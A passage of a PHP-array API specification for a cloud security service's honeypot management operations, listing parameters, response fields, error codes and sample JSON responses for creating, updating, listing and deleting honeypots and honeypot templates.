'蜜罐自定义名称', 'description' => 'The custom name of the honeypot.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ExtMail', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the honeypot.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotId' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', ], 'HoneypotName' => [ 'title' => '蜜罐自定义名称', 'description' => 'The custom name of the honeypot.'."\n", 'type' => 'string', 'example' => 'hyl-phpmyadmin', ], 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'webpage', ], 'PresetId' => [ 'title' => '蜜罐自定义参数ID', 'description' => 'The ID of the custom configuration for the honeypot.'."\n", 'type' => 'string', 'example' => '868a7579-00b5-4a74-999d-8bd3f411e8a3', ], 'State' => [ 'title' => '蜜罐状态', 'description' => 'An array that consists of the status information about the honeypot.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the honeypot.'."\n", 'type' => 'string', 'example' => 'running', ], ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像显示名称', 'description' => 'The display name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'Webmin', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3B323ADD-6CF8-51F6-9047-2F0A4E3F5EFD', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"hyl-phpmyadmin\\",\\n \\"HoneypotImageName\\": \\"webpage\\",\\n \\"PresetId\\": \\"868a7579-00b5-4a74-999d-8bd3f411e8a3\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"Webmin\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"3B323ADD-6CF8-51F6-9047-2F0A4E3F5EFD\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateHoneypot', ], 'DeleteHoneypot' => [ 'summary' => 'Deletes a specified honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to query the IDs of honeypots.'."\n", 'type' => 'string', 'required' => true, 'example' => '558b5fa40948ebe2171a74757c54dc7e58f761870fa7ee6a105e70947ec82aa9', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'E14721CB-B32F-56F2-8490-CDA18E4F9268', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"E14721CB-B32F-56F2-8490-CDA18E4F9268\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteHoneypot', ], 'ListHoneypot' => [ 'summary' => 'Queries the information about honeypots.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'HoneypotName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐自定义名称', 'description' => 'The name of the honeypot.'."\n", 'type' => 'string', 'required' => false, 'example' => 'mx-rouyi', ], ], [ 'name' => 'NodeName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => 'honeypot_master', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点唯一ID', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], [ 'name' => 'HoneypotIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '蜜罐id检索', 'description' => 'The IDs of the honeypots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'required' => false, 'example' => '76c2a1c72ef259777d96d55a7834e5f5d98f85666c49f76ad9caa447d8b7****', ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'An array that consists of the information about the honeypots.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'HoneypotId' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '76c2a1c72ef259777d96d55a7834e5f5d98f85666c49f76ad9caa447d8b7****', ], 'HoneypotName' => [ 'title' => '蜜罐自定义名称', 'description' => 'The name of the honeypot.'."\n", 'type' => 'string', 'example' => 'mx-rouyi', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => '0804-pre', ], 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'tcp_proxy', ], 'PresetId' => [ 'title' => '蜜罐自定义参数ID', 'description' => 'The ID of the custom configuration for the honeypot.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], 'State' => [ 'title' => '蜜罐状态', 'description' => 'An array that consists of the status information about the honeypot.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the honeypot. Valid values:'."\n" ."\n" .'* **starting**: enabling'."\n" .'* **running**: normal'."\n" .'* **exited**: disabled'."\n" .'* **upgrade**: updating'."\n" .'* **deleting**: deleting'."\n" .'* **resetting**: resetting'."\n" .'* **created**: created'."\n" .'* **stopping**: stopping'."\n", 'type' => 'string', 'example' => 'running', ], ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像显示名称', 'description' => 'The display name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'MongoDB', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'c94eff5b-ea48-4805-8b7f-e04d3509b117', ], 'HoneypotImageId' => [ 'description' => 'The ID of the honeypot image.'."\n", 'type' => 'string', 'example' => 'sha256:eca5ced3757e46c24701e9ced4e652f2d730262d5685a4e001da22c4fb418fd4', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C80AFF1F-CC20-502C-A4D4-F5433E529B69', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"HoneypotId\\": \\"76c2a1c72ef259777d96d55a7834e5f5d98f85666c49f76ad9caa447d8b7****\\",\\n \\"HoneypotName\\": \\"mx-rouyi\\",\\n \\"ControlNodeName\\": \\"0804-pre\\",\\n \\"HoneypotImageName\\": \\"tcp_proxy\\",\\n \\"PresetId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"MongoDB\\",\\n \\"NodeId\\": \\"c94eff5b-ea48-4805-8b7f-e04d3509b117\\",\\n \\"HoneypotImageId\\": \\"sha256:eca5ced3757e46c24701e9ced4e652f2d730262d5685a4e001da22c4fb418fd4\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 2\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C80AFF1F-CC20-502C-A4D4-F5433E529B69\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypot', ], 'CreateHoneypotPreset' => [ 'summary' => 'Creates a honeypot template.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'HoneypotImageName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'required' => true, 'example' => 'webmin', ], ], [ 'name' => 'PresetName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板自定义名称', 'description' => 'The custom name of the honeypot template.'."\n", 'type' => 'string', 'required' => true, 'example' => 'WebMin-online', ], ], [ 'name' => 'Meta', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板自定义参数', 'description' => 'The custom configurations of the honeypot template. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **portrait_option**: Social Source Tracing'."\n" .'* **burp**: Burp-specific Defense'."\n" .'* **trojan_git**: Git-specific Defense'."\n", 'type' => 'string', 'required' => true, 'example' => '{"burp":"close","trojan_git":"close","portrait_option":"true"}', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点唯一id', 'description' => 'The ID of the management node to which you want to deploy honeypots.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to query the IDs of management nodes.'."\n", 'type' => 'string', 'required' => true, 'example' => '9373fe59-74d5-4505-bb24-c85352fb****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7C1C6E65-C8B9-54C9-9F92-2F5E51C4E16D', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'HoneypotPreset' => [ 'description' => 'The creation result.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotPresetId' => [ 'description' => 'The ID of the honeypot template.'."\n", 'type' => 'string', 'example' => 'd6ece172-34d9-4942-99a4-b309cb55xxxx', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7C1C6E65-C8B9-54C9-9F92-2F5E51C4E16D\\",\\n \\"HttpStatusCode\\": 200,\\n \\"HoneypotPreset\\": {\\n \\"HoneypotPresetId\\": \\"d6ece172-34d9-4942-99a4-b309cb55xxxx\\"\\n }\\n}","type":"json"}]', 'title' => 'CreateHoneypotPreset', ], 'UpdateHoneypotPreset' => [ 'summary' => 'Modifies the configurations of the specified honeypot template.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], ], 'parameters' => [ [ 'name' => 'HoneypotImageName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the image that is used for the honeypot.'."\n", 'type' => 'string', 'required' => false, 'example' => 'metabase', ], ], [ 'name' => 'PresetName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板自定义名称', 'description' => 'The custom name of the honeypot template.'."\n", 'type' => 'string', 'required' => false, 'example' => 'apc_web_python', ], ], [ 'name' => 'HoneypotPresetId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板唯一ID', 'description' => 'The ID of the honeypot template.'."\n" ."\n" .'> You can call the [ListHoneypotPreset](~~ListHoneypotPreset~~) operation to query the IDs of honeypot templates.'."\n", 'type' => 'string', 'required' => true, 'example' => 'f75eddce-e9d3-4a88-af95-b10b6f65xxxx', ], ], [ 'name' => 'Meta', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板自定义参数', 'description' => 'The custom configurations of the honeypot template. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **portrait_option**: Social Source Tracing'."\n" .'* **burp**: Burp-specific Defense'."\n" .'* **trojan_git**: Git-specific Defense'."\n", 'type' => 'string', 'required' => false, 'example' => '{"portrait_option":true,"burp":"open"}', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '60922C83-6B19-5A57-8F13-4663C6D391F4', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"60922C83-6B19-5A57-8F13-4663C6D391F4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateHoneypotPreset', ], 'GetHoneypotPreset' => [ 'summary' => 'Queries the configurations of a specified honeypot template.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'HoneypotPresetId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板唯一ID', 'description' => 'The ID of the honeypot template.'."\n" ."\n" .'> You can call the [ListHoneypotPreset](~~ListHoneypotPreset~~) operation to query the IDs of honeypot templates.'."\n", 'type' => 'string', 'required' => true, 'example' => '207ca117-44b9-495d-84e7-50289b4cxxxx', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the honeypot template.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'ruoyi', ], 'PresetName' => [ 'title' => '蜜罐模板自定义名称', 'description' => 'The custom name of the honeypot template.'."\n", 'type' => 'string', 'example' => 'ssh', ], 'HoneypotPresetId' => [ 'title' => '蜜罐模板唯一ID', 'description' => 'The ID of the honeypot template.'."\n", 'type' => 'string', 'example' => '94fd8805-d178-4361-84d3-de47fb4e****', ], 'Meta' => [ 'title' => '蜜罐模板自定义参数', 'description' => 'The custom configuration of the honeypot template.'."\n", 'type' => 'string', 'example' => '{"trojan_git":"zip","burp":"open","portrait_option":"true"}', ], 'FileInfoList' => [ 'title' => '文件参数', 'description' => 'An array that consists of the configurations of the uploaded file.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the uploaded file.'."\n", 'type' => 'object', 'properties' => [ 'FileId' => [ 'description' => 'The ID of the uploaded file.'."\n", 'type' => 'string', 'example' => 'HONEYPOT_FILE/1765_167040128****', ], 'FileName' => [ 'description' => 'The name of the uploaded file.'."\n", 'type' => 'string', 'example' => 'HONEYPOT_FILE****', ], 'OssUrl' => [ 'description' => 'The download URL.'."\n", 'type' => 'string', 'example' => 'http://aegis****', ], ], ], ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => 'managerNodename', ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像展示名称', 'description' => 'The display name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'RuoYi', ], 'PresetType' => [ 'title' => '模板类型', 'description' => 'The type of the honeypot template. Valid values:'."\n" ."\n" .'* **TEMP**: automatically generated template'."\n" .'* **CUSTOM**: custom template'."\n" .'* **DEFAULT**: default template'."\n", 'type' => 'string', 'example' => 'CUSTOM', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '38AFE393-88E8-5642-B3E2-D57C6E76025D', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotImageName\\": \\"ruoyi\\",\\n \\"PresetName\\": \\"ssh\\",\\n \\"HoneypotPresetId\\": \\"94fd8805-d178-4361-84d3-de47fb4e****\\",\\n \\"Meta\\": \\"{\\\\\\"trojan_git\\\\\\":\\\\\\"zip\\\\\\",\\\\\\"burp\\\\\\":\\\\\\"open\\\\\\",\\\\\\"portrait_option\\\\\\":\\\\\\"true\\\\\\"}\\",\\n \\"FileInfoList\\": [\\n {\\n \\"FileId\\": \\"HONEYPOT_FILE/1765_167040128****\\",\\n \\"FileName\\": \\"HONEYPOT_FILE****\\",\\n \\"OssUrl\\": \\"http://aegis****\\"\\n }\\n ],\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"PresetType\\": \\"CUSTOM\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"38AFE393-88E8-5642-B3E2-D57C6E76025D\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetHoneypotPreset', ], 'ListHoneypotPreset' => [ 'summary' => 'Queries honeypot templates.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'HoneypotImageName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ruoyi', ], ], [ 'name' => 'PresetName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板自定义名称', 'description' => 'The custom name of the honeypot template.'."\n", 'type' => 'string', 'required' => false, 'example' => 'mx-rouyi', ], ], [ 'name' => 'NodeName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Node1', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点唯一ID', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd892b4fe-af0d-4486-ab2a-8a518045****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'An array that consists of the honeypot templates.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the honeypot template.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotImageName' => [ 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'metabase', ], 'PresetName' => [ 'title' => '蜜罐模板自定义名称', 'description' => 'The custom name of the honeypot template.'."\n", 'type' => 'string', 'example' => 'WebMin-online', ], 'HoneypotPresetId' => [ 'title' => '蜜罐模板唯一ID', 'description' => 'The ID of the honeypot template.'."\n", 'type' => 'string', 'example' => '3cc04a47-7229-418c-8101-f10a2887****', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'c94eff5b-ea48-4805-8b7f-e04d3509****', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => 'node1', ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像展示名称', 'description' => 'The display name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'Metabase', ], 'PresetType' => [ 'title' => '模板类型', 'description' => 'The type of the honeypot template. Valid values:'."\n" ."\n" .'* **TEMP**: automatically generated template'."\n" .'* **CUSTOM**: custom template'."\n" .'* **DEFAULT**: default template'."\n", 'type' => 'string', 'example' => 